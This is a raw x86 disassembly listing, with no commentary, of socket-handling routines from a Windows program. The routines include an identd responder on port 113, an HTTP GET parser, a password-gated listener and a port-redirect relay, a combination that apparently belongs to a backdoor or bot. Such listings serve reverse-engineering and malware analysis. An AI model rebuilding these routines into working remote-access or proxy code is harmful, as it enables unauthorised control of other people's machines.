push eax
push [ebp+74h+var_8]
mov [ebp+74h+var_14], 10h
call dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
jz loc_413187
mov edx, [ebp+74h+var_128]
xor ecx, ecx
cmp edx, ebx
jbe short loc_412F3C
loc_412F2E: ; CODE XREF: sub_412DD9+161j
cmp [ebp+ecx*4+74h+var_124], eax
jz short loc_412F3C
inc ecx
cmp ecx, edx
jb short loc_412F2E
loc_412F3C: ; CODE XREF: sub_412DD9+153j
; sub_412DD9+15Cj
cmp ecx, edx
jnz short loc_412F52
cmp edx, 40h
jnb short loc_412F52
mov [ebp+ecx*4+74h+var_124], eax
loc_412F4C: ; DATA XREF: .rdata:off_439424o
inc [ebp+74h+var_128]
loc_412F52: ; CODE XREF: sub_412DD9+165j
; sub_412DD9+16Aj
cmp eax, [ebp+74h+var_C]
jbe loc_413187
mov [ebp+74h+var_C], eax
jmp loc_413187
; ---------------------------------------------------------------------------
loc_412F63: ; CODE XREF: sub_412DD9+123j
mov edi, 1000h
push edi ; Size
lea eax, [ebp+74h+Str]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+74h+Str1]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
push ebx
push edi
lea eax, [ebp+74h+Str]
push eax
push esi
call dword_444064 ; recv
test eax, eax
jg short loc_412FEC
push esi
call dword_444218 ; closesocket
xor eax, eax
cmp [ebp+74h+var_128], ebx
jbe loc_413187
loc_412FB0: ; CODE XREF: sub_412DD9+1E7j
cmp [ebp+eax*4+74h+var_124], esi
jz short loc_412FD6
inc eax
cmp eax, [ebp+74h+var_128]
jb short loc_412FB0
jmp loc_413187
; ---------------------------------------------------------------------------
loc_412FC7: ; CODE XREF: sub_412DD9+206j
mov ecx, [ebp+eax*4+74h+var_120]
mov [ebp+eax*4+74h+var_124], ecx
inc eax
loc_412FD6: ; CODE XREF: sub_412DD9+1DEj
mov ecx, [ebp+74h+var_128]
dec ecx
cmp eax, ecx
jb short loc_412FC7
dec [ebp+74h+var_128]
jmp loc_413187
; ---------------------------------------------------------------------------
loc_412FEC: ; CODE XREF: sub_412DD9+1C0j
push 104h ; Size
lea eax, [ebp+74h+var_340]
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+74h+Str]
push eax ; Str
mov [ebp+74h+var_4], ebx
xor esi, esi
call _strlen
add esp, 10h
test eax, eax
jbe loc_413187
loc_41301A: ; CODE XREF: sub_412DD9+2F9j
mov eax, [ebp+74h+var_4]
mov al, [ebp+eax+74h+Str]
cmp al, 0Ah
mov [ebp+esi+74h+Str1], al
jnz loc_4130BE
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+74h+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_413093
lea eax, [ebp+74h+Str1]
push eax ; Str
call _strlen
cmp eax, 5
pop ecx
jbe short loc_413093
mov eax, offset asc_42FE58 ; " "
push eax ; Delim
push eax ; SubStr
lea eax, [ebp+74h+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strtok
push eax ; Source
lea eax, [ebp+74h+var_340]
push eax ; Dest
call _strcpy
add esp, 10h
jmp short loc_4130AA
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_412DD9+270j
; sub_412DD9+282j
lea eax, [ebp+74h+Str1]
push offset asc_434A60 ; "\r\n"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4130DD
loc_4130AA: ; CODE XREF: sub_412DD9+2B8j
push edi ; Size
lea eax, [ebp+74h+Str1]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_4130BE: ; CODE XREF: sub_412DD9+254j
inc [ebp+74h+var_4]
lea eax, [ebp+74h+Str]
push eax ; Str
inc esi
call _strlen
cmp [ebp+74h+var_4], eax
pop ecx
jb loc_41301A
jmp loc_413187
; ---------------------------------------------------------------------------
loc_4130DD: ; CODE XREF: sub_412DD9+2CFj
mov ecx, [ebp+74h+var_128]
xor eax, eax
cmp ecx, ebx
jbe short loc_41311C
loc_4130E9: ; CODE XREF: sub_412DD9+31Fj
mov edx, [ebp+eax*4+74h+var_124]
cmp edx, [ebp+74h+arg_0]
jz short loc_413111
inc eax
cmp eax, ecx
jb short loc_4130E9
jmp short loc_41311C
; ---------------------------------------------------------------------------
loc_4130FC: ; CODE XREF: sub_412DD9+33Bj
mov ecx, [ebp+eax*4+74h+var_120]
mov [ebp+eax*4+74h+var_124], ecx
mov ecx, [ebp+74h+var_128]
inc eax
loc_413111: ; CODE XREF: sub_412DD9+31Aj
dec ecx
cmp eax, ecx
jb short loc_4130FC
dec [ebp+74h+var_128]
loc_41311C: ; CODE XREF: sub_412DD9+30Ej
; sub_412DD9+321j
lea eax, [ebp+74h+var_464]
push eax ; Str
call _strlen
mov esi, eax
lea eax, [ebp+74h+var_340]
push eax ; Str
call _strlen
add esi, eax
cmp esi, 104h
pop ecx
pop ecx
jnb short loc_41317E
lea eax, [ebp+74h+var_4]
push eax
push 8004667Eh
push [ebp+74h+arg_0]
mov [ebp+74h+var_4], ebx
call dword_444094 ; ioctlsocket
push [ebp+74h+var_358]
lea eax, [ebp+74h+var_340]
push [ebp+74h+var_34C]
push eax
lea eax, [ebp+74h+var_464]
push eax
push [ebp+74h+arg_0]
call sub_412B2A
add esp, 14h
jmp short loc_413187
; ---------------------------------------------------------------------------
loc_41317E: ; CODE XREF: sub_412DD9+367j
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
loc_413187: ; CODE XREF: sub_412DD9+11Aj
; sub_412DD9+143j ...
mov esi, [ebp+74h+arg_0]
inc esi
cmp esi, [ebp+74h+var_C]
mov [ebp+74h+arg_0], esi
jbe loc_412EE3
push 41h
pop ecx
push ebx
push ebx
lea eax, [ebp+74h+var_23C]
push ebx
push eax
mov eax, [ebp+74h+var_C]
jmp loc_412EBF
; ---------------------------------------------------------------------------
loc_4131AC: ; CODE XREF: sub_412DD9+FFj
mov edi, [ebp+74h+var_8]
loc_4131AF: ; CODE XREF: sub_412DD9+6Cj
; sub_412DD9+94j ...
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_434A38 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_350], ebx
jnz short loc_4131F5
push ebx ; int
push [ebp+74h+var_354] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_6EC]
push eax ; Str
push [ebp+74h+var_6F0] ; int
call sub_40123B
add esp, 14h
loc_4131F5: ; CODE XREF: sub_412DD9+3F7j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
push edi
call dword_444218 ; closesocket
push [ebp+74h+var_358]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_412DD9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41321D proc near ; DATA XREF: sub_40274D+406Co
; WinMain(x,x,x,x)+42Co
Str = byte ptr -238h
Dest = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_8], esi
call _memset
add esp, 0Ch
push 71h
mov [ebp+Dst], 2
call dword_444260 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_413390
mov eax, [ebp+arg_0]
imul eax, 234h
mov dword_4444F4[eax], ebx
push edi
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4441E4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_413390
push 5
push ebx
call dword_444230 ; listen
cmp eax, 0FFFFFFFFh
jz loc_413390
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
mov [ebp+var_C], edi
call dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_413390
mov edi, 200h
loc_4132C3: ; CODE XREF: sub_41321D+168j
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push offset asc_434AB0 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_417D70
add esp, 14h
push esi
push edi
lea eax, [ebp+Str]
push eax
push [ebp+var_4]
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_413370
lea eax, [ebp+Str]
push esi ; int
push eax ; Str
call sub_41AC0E
push 0Ch ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
push esi ; Str1
push esi ; int
lea eax, [ebp+Dest]
push 2 ; int
push eax ; Dest
call sub_40AB83
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 34h
lea eax, [ebp+Str]
push esi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_4]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_413370
mov [ebp+var_8], 1
loc_413370: ; CODE XREF: sub_41321D+EAj
; sub_41321D+14Aj
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz loc_4132C3
cmp [ebp+var_8], esi
jnz short loc_4133B7
loc_413390: ; CODE XREF: sub_41321D+47j
; sub_41321D+6Bj ...
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+Str]
push offset asc_434A6C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_417D70
add esp, 10h
loc_4133B7: ; CODE XREF: sub_41321D+171j
push ebx
call dword_444218 ; closesocket
push [ebp+var_4]
call dword_444218 ; closesocket
push [ebp+arg_0]
call sub_40B149
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41321D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4133D8 proc near ; DATA XREF: sub_413483+132o
Dst = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov edi, 1000h
push edi ; Size
mov dword ptr [eax+124h], 1
xor ebx, ebx
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
mov esi, [ebp+var_14]
imul esi, 234h
jmp short loc_41344A
; ---------------------------------------------------------------------------
loc_413422: ; CODE XREF: sub_4133D8+8Cj
push ebx
push eax
lea eax, [ebp+Dst]
push eax
push dword_4444F4[esi]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_413466
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
loc_41344A: ; CODE XREF: sub_4133D8+48j
add esp, 0Ch
push ebx
push edi
lea eax, [ebp+Dst]
push eax
push dword_4444F8[esi]
call dword_444064 ; recv
cmp eax, ebx
jg short loc_413422
loc_413466: ; CODE XREF: sub_4133D8+62j
push dword_4444F8[esi]
call dword_444218 ; closesocket
push [ebp+var_14]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4133D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_413483 proc near ; DATA XREF: sub_41366C+126o
var_1344 = byte ptr -1344h
Source = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
Dst = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov eax, 1344h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_144]
rep movsd
mov edi, [ebp+74h+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+74h+var_4], edi
call dword_444100 ; socket
mov esi, eax
xor ebx, ebx
cmp esi, 0FFFFFFFFh
mov [ebp+74h+arg_0], esi
jz loc_4135E8
push 10h ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_3C]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
mov [ebp+74h+var_16], ax
lea eax, [ebp+74h+var_13C]
push eax
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_8], eax
jnz short loc_413515
lea eax, [ebp+74h+var_13C]
push eax
call dword_444168 ; gethostbyname
jmp short loc_413523
; ---------------------------------------------------------------------------
loc_413515: ; CODE XREF: sub_413483+81j
push 2
push 4
lea eax, [ebp+74h+var_8]
push eax
call dword_4441FC ; gethostbyaddr
loc_413523: ; CODE XREF: sub_413483+90j
cmp eax, ebx
jz loc_4135E8
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+74h+var_14], eax
push 10h
lea eax, [ebp+74h+Dst]
push eax
push esi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_4135E8
push [ebp+74h+var_34]
movzx eax, [ebp+74h+var_16]
push eax
push [ebp+74h+var_14]
mov [ebp+74h+var_20], ebx
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_434B20 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+74h+Source]
push 18h ; int
push eax ; Source
call sub_40AE85
imul edi, 234h
mov ecx, [ebp+74h+var_34]
mov [ebp+74h+var_30], eax
imul eax, 234h
mov dword_4444EC[eax], ecx
add esp, 20h
lea edi, dword_4444F4[edi]
mov ecx, [edi]
mov dword_4444F8[eax], ecx
lea eax, [ebp+74h+var_1C]
push eax
push ebx
lea eax, [ebp+74h+var_144]
push eax
push offset sub_4133D8
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+74h+var_30]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_41361E
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434AE0 ; "-"
call sub_417DE4
pop ecx
pop ecx
loc_4135E8: ; CODE XREF: sub_413483+46j
; sub_413483+A2j ...
mov eax, [ebp+74h+var_4]
imul eax, 234h
push dword_4444F4[eax]
call dword_444218 ; closesocket
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
push [ebp+74h+var_4]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
loc_413616: ; CODE XREF: sub_413483+19Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_41361E: ; CODE XREF: sub_413483+150j
cmp [ebp+74h+var_20], ebx
jz short loc_413616
mov esi, 1000h
jmp short loc_413641
; ---------------------------------------------------------------------------
loc_41362A: ; CODE XREF: sub_413483+1E2j
push ebx
push eax
lea eax, [ebp+74h+var_1344]
push eax
push [ebp+74h+arg_0]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4135E8
loc_413641: ; CODE XREF: sub_413483+1A5j
push esi ; Size
lea eax, [ebp+74h+var_1344]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push ebx
push esi
lea eax, [ebp+74h+var_1344]
push eax
push dword ptr [edi]
call dword_444064 ; recv
cmp eax, ebx
jg short loc_41362A
jmp loc_4135E8
sub_413483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_41366C proc near ; DATA XREF: sub_40274D+5E41o
Source = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 350h
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
push 10h
lea edi, [ebp+74h+var_150]
rep movsd
pop edi
push edi ; Size
mov dword ptr [eax+120h], 1
xor esi, esi
lea eax, [ebp+74h+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_44]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push 6
push 1
push 2
mov [ebp+74h+var_12], ax
mov [ebp+74h+var_10], esi
mov [ebp+74h+var_4], edi
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+74h+arg_0], eax
jz loc_4137D9
mov ecx, [ebp+74h+var_40]
imul ecx, 234h
push 1
push 401h
push esi
push eax
mov dword_4444F4[ecx], eax
call dword_444194 ; WSAAsyncSelect
push edi
lea eax, [ebp+74h+Dst]
push eax
push [ebp+74h+arg_0]
call dword_4441E4 ; bind
test eax, eax
jnz loc_4137D9
push 0Ah
push [ebp+74h+arg_0]
call dword_444230 ; listen
test eax, eax
jnz loc_4137D9
loc_41371E: ; CODE XREF: sub_41366C+C8j
; sub_41366C+168j
lea eax, [ebp+74h+var_4]
push eax
lea eax, [ebp+74h+var_28]
push eax
push [ebp+74h+arg_0]
call dword_4440BC ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41371E
push [ebp+74h+var_40]
movzx eax, [ebp+74h+var_26]
push eax
push [ebp+74h+var_24]
mov [ebp+74h+var_14C], edi
mov [ebp+74h+var_30], esi
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_434BA0 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+74h+Source]
push 18h ; int
push eax ; Source
call sub_40AE85
mov ecx, [ebp+74h+var_40]
mov [ebp+74h+var_3C], eax
imul eax, 234h
add esp, 20h
mov dword_4444EC[eax], ecx
lea eax, [ebp+74h+var_18]
push eax
push esi
lea eax, [ebp+74h+var_150]
push eax
push offset sub_413483
push esi
push esi
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+74h+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_4444FC[ecx], eax
jnz short loc_4137CF
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434B64 ; "-"
call sub_417DE4
pop ecx
pop ecx
jmp short loc_4137DC
; ---------------------------------------------------------------------------
loc_4137C7: ; CODE XREF: sub_41366C+166j
push 32h
call ds:dword_42B014 ; Sleep
loc_4137CF: ; CODE XREF: sub_41366C+144j
cmp [ebp+74h+var_30], esi
jz short loc_4137C7
jmp loc_41371E
; ---------------------------------------------------------------------------
loc_4137D9: ; CODE XREF: sub_41366C+65j
; sub_41366C+99j ...
mov edi, [ebp+74h+arg_0]
loc_4137DC: ; CODE XREF: sub_41366C+159j
push edi
call dword_444218 ; closesocket
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
push [ebp+74h+var_40]
call sub_40B149
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41366C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4137FD proc near ; CODE XREF: sub_413848+A3p
; sub_413848+B3p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
loc_413804: ; CODE XREF: sub_4137FD+2Aj
push 0
push 1
lea eax, [ebp+var_1]
push eax
push [ebp+arg_0]
call dword_444064 ; recv
cmp eax, 1
jnz short loc_41383A
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_4]
jz short loc_41382F
test al, al
jnz short loc_413804
xor eax, eax
inc eax
loc_41382C: ; CODE XREF: sub_4137FD+3Fj
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41382F: ; CODE XREF: sub_4137FD+26j
push offset asc_434BE8 ; "-"
call sub_417DE4
pop ecx
loc_41383A: ; CODE XREF: sub_4137FD+1Bj
xor eax, eax
jmp short loc_41382C
sub_4137FD endp
; =============== S U B R O U T I N E =======================================
sub_41383E proc near ; DATA XREF: sub_413A51+5Co
arg_0 = dword ptr 4
xor eax, eax
cmp [esp+arg_0], eax
setz al
retn
sub_41383E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_413848 proc near ; DATA XREF: sub_413A51+1A6o
var_3D4 = byte ptr -3D4h
Str1 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
Dest = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
Args = byte ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 3D4h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_3D4]
rep movsd
mov esi, [ebp+74h+var_208]
mov [ebp+74h+arg_0], esi
imul esi, 234h
xor ebx, ebx
inc ebx
mov [eax+1DCh], ebx
mov eax, dword_4444F4[esi]
mov [ebp+74h+var_1F0], eax
xor edi, edi
lea eax, [ebp+74h+var_C]
push eax
push edi
push edi
lea eax, [ebp+74h+var_1F4]
push eax
push edi
mov [ebp+74h+var_C], 1Eh
mov [ebp+74h+var_8], edi
mov [ebp+74h+var_1F4], ebx
call dword_4441B0 ; select
test eax, eax
jnz short loc_4138CE
push dword_4444F4[esi]
loc_4138BA: ; CODE XREF: sub_413848+19Fj
call dword_444218 ; closesocket
push [ebp+74h+arg_0]
call sub_40B149
pop ecx
jmp loc_413A49
; ---------------------------------------------------------------------------
loc_4138CE: ; CODE XREF: sub_413848+6Aj
push edi
push ebx
lea eax, [ebp+74h+var_3C]
push eax
push dword_4444F4[esi]
call dword_444064 ; recv
push 10h
push dword_4444F4[esi]
lea eax, [ebp+74h+Args]
call sub_4137FD
push 10h
push dword_4444F4[esi]
lea eax, [ebp+74h+var_4C]
call sub_4137FD
push 40h
push dword_4444F4[esi]
lea eax, [ebp+74h+var_F0]
call sub_4137FD
add esp, 18h
lea eax, [ebp+74h+var_4]
push eax
lea eax, [ebp+74h+var_2C]
push eax
push dword_4444F4[esi]
mov [ebp+74h+var_4], 10h
call dword_444148 ; getpeername
test eax, eax
jz short loc_413953
call dword_4441C4 ; WSAGetLastError
push eax ; Args
push offset asc_434CE0 ; "-"
call sub_417DE4
push [ebp+74h+arg_0]
call sub_40B149
add esp, 0Ch
jmp loc_413A49
; ---------------------------------------------------------------------------
loc_413953: ; CODE XREF: sub_413848+E8j
push 2
push 4
lea eax, [ebp+74h+var_28]
push eax
call dword_4441FC ; gethostbyaddr
cmp eax, edi
jnz short loc_41397A
push [ebp+74h+var_28]
call dword_444188 ; inet_ntoa
push eax ; Format
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
jmp short loc_413985
; ---------------------------------------------------------------------------
loc_41397A: ; CODE XREF: sub_413848+11Bj
push dword ptr [eax] ; Source
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _strcpy
loc_413985: ; CODE XREF: sub_413848+130j
pop ecx
pop ecx
push edi
push ebx
push offset byte_42B633
push dword_4444F4[esi]
call dword_4441A0 ; send
cmp dword_4D5268, edi
jnz short loc_4139EC
lea eax, [ebp+74h+Args]
push eax ; Str2
lea eax, [ebp+74h+Str1]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4139EC
lea eax, [ebp+74h+Dest]
push eax
lea eax, [ebp+74h+Args]
push eax ; Args
push offset asc_434C14 ; "-"
call sub_417DE4
add esp, 0Ch
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword_4444F4[esi]
call dword_4441A0 ; send
push dword_4444F4[esi]
jmp loc_4138BA
; ---------------------------------------------------------------------------
loc_4139EC: ; CODE XREF: sub_413848+158j
; sub_413848+16Ej
lea eax, [ebp+74h+Dest]
push eax
lea eax, [ebp+74h+Args]
push eax ; Args
push offset asc_434CA4 ; "-"
call sub_417DE4
push [ebp+74h+arg_0]
call sub_414056
add esp, 10h
test eax, eax
jnz short loc_413A2C
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434C78 ; "-"
call sub_417DE4
push [ebp+74h+arg_0]
call sub_40B149
add esp, 0Ch
push ebx
jmp short loc_413A4A
; ---------------------------------------------------------------------------
loc_413A2C: ; CODE XREF: sub_413848+1C3j
lea eax, [ebp+74h+Dest]
push eax
lea eax, [ebp+74h+Args]
push eax ; Args
push offset asc_434C4C ; "-"
call sub_417DE4
push [ebp+74h+arg_0]
call sub_40B149
add esp, 10h
loc_413A49: ; CODE XREF: sub_413848+81j
; sub_413848+106j
push edi
loc_413A4A: ; CODE XREF: sub_413848+1E2j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_413848 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_413A51 proc near ; DATA XREF: sub_40274D+219Eo
var_5A8 = byte ptr -5A8h
Source = byte ptr -418h
var_218 = dword ptr -218h
Str = byte ptr -214h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 5A8h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_218]
rep movsd
xor esi, esi
inc esi
mov [eax+1DCh], esi
lea eax, [ebp+74h+var_5A8]
push eax
push 202h
call dword_444110 ; WSAStartup
xor edi, edi
cmp eax, edi
jz short loc_413AAC
push eax ; Args
push offset asc_434E44 ; "-"
call sub_417DE4
push [ebp+74h+var_50]
call sub_40B149
add esp, 0Ch
loc_413AA6: ; CODE XREF: sub_413A51+8Dj
push esi
jmp loc_413CCD
; ---------------------------------------------------------------------------
loc_413AAC: ; CODE XREF: sub_413A51+3Dj
push esi
push offset sub_41383E
call ds:dword_42B0C8 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_413AE0
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434E00 ; "-"
call sub_417DE4
pop ecx
pop ecx
call dword_444224 ; WSACleanup
push [ebp+74h+var_50]
call sub_40B149
pop ecx
jmp short loc_413AA6
; ---------------------------------------------------------------------------
loc_413AE0: ; CODE XREF: sub_413A51+69j
push 10h
pop ebx
push ebx ; Size
lea eax, [ebp+74h+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_54]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push 6
push esi
push 2
mov [ebp+74h+var_22], ax
mov [ebp+74h+var_20], edi
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+74h+arg_0], eax
jz loc_413C5D
mov ecx, [ebp+74h+var_50]
imul ecx, 234h
mov dword_4444F4[ecx], eax
push ebx
lea ecx, [ebp+74h+Dst]
push ecx
push eax
call dword_4441E4 ; bind
test eax, eax
jnz loc_413C5D
push 7FFFFFFFh
push [ebp+74h+arg_0]
call dword_444230 ; listen
test eax, eax
jnz loc_413C5D
push offset unk_434DC4
mov [ebp+74h+var_14], 0Ch
mov [ebp+74h+var_10], edi
mov [ebp+74h+var_C], edi
call sub_417D70
pop ecx
mov [ebp+74h+var_8], esi
jmp loc_413C3C
; ---------------------------------------------------------------------------
loc_413B77: ; CODE XREF: sub_413A51+204j
push [ebp+74h+var_8]
lea eax, [ebp+74h+var_8]
push eax
push 8
push 0FFFFh
push esi
call dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_413C3C
push [ebp+74h+var_50]
movzx eax, [ebp+74h+var_32]
push eax
push [ebp+74h+var_30]
mov [ebp+74h+var_3C], edi
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_434D80 ; "-"
push eax ; Dest
call _sprintf
